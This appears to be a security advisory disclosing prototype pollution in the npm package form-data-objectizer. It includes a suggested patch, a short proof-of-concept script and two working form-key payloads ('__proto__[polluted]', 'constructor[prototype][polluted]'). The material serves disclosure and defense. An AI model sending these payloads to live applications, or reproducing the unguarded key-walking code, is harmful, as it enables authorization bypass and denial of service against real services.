Prototype pollution in form-data-objectizer via bracket-notation form keys

Summary

form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.

The bug is in treatInitial and treatSecond inside index.cjs:

if (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches
  newResult = result[inputName]      // newResult === Object.prototype
}
// ...
result[key] = value                  // sets the property on Object.prototype

With the form key __proto__[polluted] and value yes:

1. treatInitial matches inputName = "__proto__", rest = "[polluted]".
2. "__proto__" in result is true (inherited), so newResult = result["__proto__"], which is Object.prototype.
3. treatSecond recurses with key = "polluted", newRest = "", and assigns Object.prototype.polluted = "yes".

Affected versions

• form-data-objectizer <= 1.0.0 (currently the only published version)

Patched

Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.

Minimum patch in treatInitial and treatSecond:

const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
  return; // or throw
}

Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.

Proof of concept

Fresh install on Node 18+:

mkdir pp-fdo && cd pp-fdo
npm init -y
npm install form-data-objectizer@1.0.0

// poc.js
const FormDataToObject = require('form-data-objectizer');

const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');

FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'

Observed output:

package version: 1.0.0
before pollution: undefined
after pollution:  yes
parsed data:     { username: 'alice' }
confirmed:       YES, prototype polluted

The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.

A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.

Impact

• Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses form-data-objectizer.toObject() on incoming form data.
• Persists for the life of the worker process and affects every subsequent request handled by the same process.
• Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing if (obj.isAdmin) style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)

Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.

Credit

Reported by Mohamed Bassia (@0xBassia).